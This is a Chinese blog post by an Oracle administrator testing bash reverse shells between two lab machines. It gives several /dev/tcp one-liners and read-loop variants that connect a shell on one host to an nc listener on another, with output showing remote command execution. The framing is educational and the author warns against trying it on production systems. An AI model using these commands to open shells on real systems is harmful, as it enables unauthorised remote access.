[20210908]Reverse Shell with Bash.txt
[20210908]Reverse Shell with Bash.txt
--//昨天無意中看了連結https://blog.csdn.net/cnbird2008/article/details/5330996,裡面提到了利用nc開啟一個埠,然後在另外的
--//機器重定向當前的bash shell的標準輸入0,標準輸出1,標準錯誤2到源端nc的指定埠,從而實現訪問伺服器的目的,程式碼很簡單,我自
--//己覺得很有意思,測試看看.
--//首先該連線應該是轉載,我把相關的連結查了一遍,發現原始連結來自:
https://www.gnucitizen.org/blog/reverse-shell-with-bash/
--//註解部分,我發現連結:
--//該連結已經無法訪問.
--//不過我找到如下連結;
Connect-back shell using Bash built-ins
bash -i >& /dev/tcp/IP/PORT 0>&1
Connect-back shell using Bash built-ins
Connect-back shell using Bash built-ins. Useful in a web app penetration test, if it's the case of a locked down
environment, without the need for file uploads or a writable directory. -- /dev/tcp and /dev/udb redirects must be
enabled at compile time in Bash. Most Linux distros enable this feature by default but at least Debian is known to
disable it. --
exec 0</dev/tcp/hostname/port; exec 1>&0; exec 2>&0;
exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0
--//注:我的測試前面加exec不行,我自己最後選擇這個方式,程式碼比較容易讀懂,改寫如下:
--// /bin/bash -i 0</dev/tcp/hostname/port 1>&0 2>&0
truemilk · 2010-03-18 17:25:08
--//我把裡面的連結提到的方法測試一遍,自己其中選擇比較好的方式,以下我僅僅認為比較好的連線模式.
1.首先測試需要兩臺機器,千萬不要在生產系統做這樣的測試!!
--//IP如下:
192.168.100.78 --//伺服器A
192.168.100.76 --//客戶端B
--//為了便於後面的說明暫且定義192.168.100.78(伺服器A),192.168.100.76(客戶端B)
--//其中客戶端B 192.168.100.76 要求安裝nc rpm包.
2.測試:
--//在客戶端B(192.168.100.76)執行,注意我的版本不知道為什麼不能加入-p引數.開啟一個埠9999,注意一定不能被別的服務佔用.
$ nc -l 9999 -vvv
--//在伺服器A(192.168.100.78)上執行:
$ /bin/bash -i 0</dev/tcp/192.168.100.76/9999 1>&0 2>&0
--//首先你安裝的bash shell必須支援/dev/tcp模式訪問埠,按照前面連結介紹debian編譯bash的版本不行.
--//bash -i 就是登陸新的bash shell,這樣的好處是重新讀取環境變數.
--//將標準輸入0定向到/dev/tcp/192.168.100.76/9999,然後將標準輸出1,標準錯誤2重定向到標準輸入0.
--//我在這裡有點犯渾,我開始以為在伺服器A下面輸入命令,發現不對,在看客戶端B的介面才發現,在客戶端B(192.168.100.76)的介面上
--//會出現如下提示:
$ nc -l 9999 -vvvv
Connection from 192.168.100.78 port 9999 [tcp/distinct] accepted
[IP=100.78 ~/xxxx430/testz ] $
--//這樣客戶端B 已經透過埠9999連線到192.168.100.78.這樣開始執行命令了.
$ echo $$
echo $$
33816
--//在客戶端B(192.168.100.76)上執行以root使用者:
# ls -l /proc/33816/fd
total 0
lrwx------ 1 oracle oinstall 64 2021-09-08 08:52:09 0 -> socket:[12492953]
lrwx------ 1 oracle oinstall 64 2021-09-08 08:52:09 1 -> socket:[12492953]
lrwx------ 1 oracle oinstall 64 2021-09-08 08:52:09 2 -> socket:[12492953]
lrwx------ 1 oracle oinstall 64 2021-09-08 08:52:09 255 -> socket:[12492953]
--//檔案控制程式碼0,1,2,255分別執行指向了socket:[12492953].
# lsof -i -P -n | grep 12493330
bash 33816 oracle 0u IPv4 12493330 0t0 TCP 192.168.100.78:28441->192.168.100.76:9999 (ESTABLISHED)
bash 33816 oracle 1u IPv4 12493330 0t0 TCP 192.168.100.78:28441->192.168.100.76:9999 (ESTABLISHED)
bash 33816 oracle 2u IPv4 12493330 0t0 TCP 192.168.100.78:28441->192.168.100.76:9999 (ESTABLISHED)
bash 33816 oracle 255u IPv4 12493330 0t0 TCP 192.168.100.78:28441->192.168.100.76:9999 (ESTABLISHED)
--//在客戶端B(192.168.100.76)上執行:
$ ls -l asasas
ls -l asasas
ls: asasas: No such file or directory
--//標準錯誤2可以回顯.
$ ls -l | head -3
ls -l | head -3
total 20936
-rw-r--r-- 1 oracle oinstall 19 2019-12-18 11:24:35 #a1.txt#
-rw-r--r-- 1 oracle oinstall 19 2019-12-18 11:15:04 a1.txt
--//先顯示提示行輸入的命令,然後執行.
$ vi aa1
vi aa1
Vim: Warning: Output is not to a terminal
Vim: Warning: Input is not from a terminal
^C
--//無法編輯檔案.然後直接退出.這個是正常的.重新再來.
$ env | grep -i SQLPATH
env | grep -i SQLPATH
SQLPATH=/home/oracle/sqllaji:/home/oracle/sqllaji/tpt_public_unixmac
--//環境變數存在,可以直接在sqlplus下呼叫目錄下的sql語句.
--//命令補全不會顯示,不過回車顯示如下.
$ rl
rl
rladrci rldgmgrl rlog rlogin-cwd rlsql rlwrap
rlatopam rletopnm rlogin rlrman rlsqlz
$ rl
bash: rl: command not found
--//上下鍵命令查詢顯示如^[[A.不過直接執行倒是正確的,有點盲打的感覺,存在一定風險.例子:
$ ls -l | head -3
ls -l | head -3
total 20936
-rw-r--r-- 1 oracle oinstall 19 2019-12-18 11:24:35 #a1.txt#
-rw-r--r-- 1 oracle oinstall 19 2019-12-18 11:15:04 a1.txt
$ ^[[A
ls -l | head -3
total 20936
-rw-r--r-- 1 oracle oinstall 19 2019-12-18 11:24:35 #a1.txt#
-rw-r--r-- 1 oracle oinstall 19 2019-12-18 11:15:04 a1.txt
$ sqlplus -s -l scott/book @ ver1
sqlplus -s -l scott/book @ ver1
PORT_STRING VERSION BANNER
------------------------------ -------------- --------------------------------------------------------------------------------
x86_64/Linux 2.4.xx 11.2.0.4.0 Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production
quit
--//如果在伺服器A(192.168.100.78)上執行如下:
$ /bin/bash -i 0</dev/tcp/192.168.100.76/9999 2>&0
--//這樣執行的標準輸出1保持不變,這樣直接伺服器A該命令的下面.我不演示了,大家可以執行測試.
3.其他模式:
--//在客戶端B(192.168.100.76)執行:
$ nc -l 9999 -vvv
--//在伺服器A(192.168.100.78)上執行:
$ exec 5<>/dev/tcp/192.168.100.76/9999
$ cat <&5 | while read line; do $line 2>&5 >&5; done
--//或者
$ exec 5<>/dev/tcp/192.168.100.76/9999
$ while read line 0<&5; do $line 2>&5 >&5; done
--//或者
$ exec 0</dev/tcp/192.168.100.76/9999; exec 1>&0; exec 2>&0;
--//或者
$ bash -i >& /dev/tcp/192.168.100.76/9999 0>&1 2>&1
--//原始的連結沒有2>&1我加上的,後面我發現前面的>&就已經將標準錯誤2定向到標準錯誤1,有點多餘.
--//它有點不同,將標準輸出1重定向到/dev/tcp/192.168.100.76/9999,然後將
--//標準輸入0,標準錯誤2重定向到標準輸出1.實際上結果都是一樣,最終目的都是執行1個socket.
--//其它模式的前面3種我不推薦,主要原因沒有提示行,沒有執行bash -i繼承環境變數不建議使用.簡單演示:
--//在客戶端B(192.168.100.76)執行:
$ nc -l 9999 -vvv
--//在伺服器A(192.168.100.78)上執行:
$ echo $$
34223
$ exec 5<>/dev/tcp/192.168.100.76/9999
$ while read line 0<&5; do $line 2>&5 >&5; done
--//在客戶端B(192.168.100.76)執行:
echo $$
$$
echo $SQLPATH
$SQLPATH
--//顯示的資訊有點奇怪!!不理解,至少顯示變數的內容啊.難道這樣的shell與bash shell有什麼不同嗎?
# lsof -i -P -n | grep 9999
bash 34223 oracle 0u IPv4 12268122 0t0 TCP 192.168.100.78:28571->192.168.100.76:9999 (ESTABLISHED)
bash 34223 oracle 5u IPv4 12268122 0t0 TCP 192.168.100.78:28571->192.168.100.76:9999 (ESTABLISHED)
總結:
--//我做了許多測試,感覺如下兩者方式最佳,正常情況下估計不會有人這樣使用,僅僅擴充套件學習的思路.
--//我自己都沒有想到如此簡單,就能實現遠端訪問,對於理解標準輸入0,標準輸出1,標準錯誤2有一定幫助.
--//在客戶端B(192.168.100.76)執行:
$ nc -l 9999 -vvv
--//在伺服器A(192.168.100.78)上執行:
$ /bin/bash -i 0</dev/tcp/192.168.100.76/9999 1>&0 2>&0
--//或者
$ /bin/bash -i >& /dev/tcp/192.168.100.76/9999 0>&1 2>&1
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/267265/viewspace-2790933/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- [20230314]nc reverse bash shell alias.txt
- [20230310]nc reverse bash shell問題.txt
- [20230309]nc reverse bash shell or cmd.exe(windows).txtWindows
- [20201109]here-doc(EOF) in bash.txt
- JavaScript reverse()JavaScript
- Reverse Vowels of a String
- BUUCTF reverse 3
- 1074 reverse list
- 23.【Reverse】
- Leetcode 7 Reverse IntegerLeetCode
- Reverse Card (Hard Version)
- hackme 【攻防世界】Reverse
- Hgame2023 ReverseGAM
- Reverse 攻防世界合集
- Reverse學習筆記筆記
- Leetcode 151 Reverse Words in a StringLeetCode
- leetcode 344. Reverse StringLeetCode
- 4. render, redirect, HttpResponse, reverseHTTP
- XCTF-Reverse:open-source
- Leetcode 206. Reverse Linked ListLeetCode
- 92. Reverse Linked List II
- UNCTF2021-reverse-部分wpTF2
- 精讀《ObjectEntries, Shift, Reverse...》Object
- Leetcode 25 Reverse Nodes in k-GroupLeetCode
- 攻防世界 Replace Reverse二星題
- D2. Reverse Card (Hard Version)
- for 迴圈中倒序 用reverse
- LeetCode Reverse Integer(007)解法總結LeetCode
- python-reverse順序反轉Python
- 2021強網杯Reverse-LongTimeAgoGo
- LeetCode - Easy - 206. Reverse Linked ListLeetCode
- 【Leetcode】25.Reverse Nodes in k-GroupLeetCode
- How do I reverse selected lines order in Vim?
- CF1458D Flip and Reverse 題解
- CF1234F Yet Another Substring Reverse
- buu Reverse學習記錄(8) xor
- LeetCode - 解題筆記 - 7 - Reverse IntegerLeetCode筆記
- Shell:子shell概念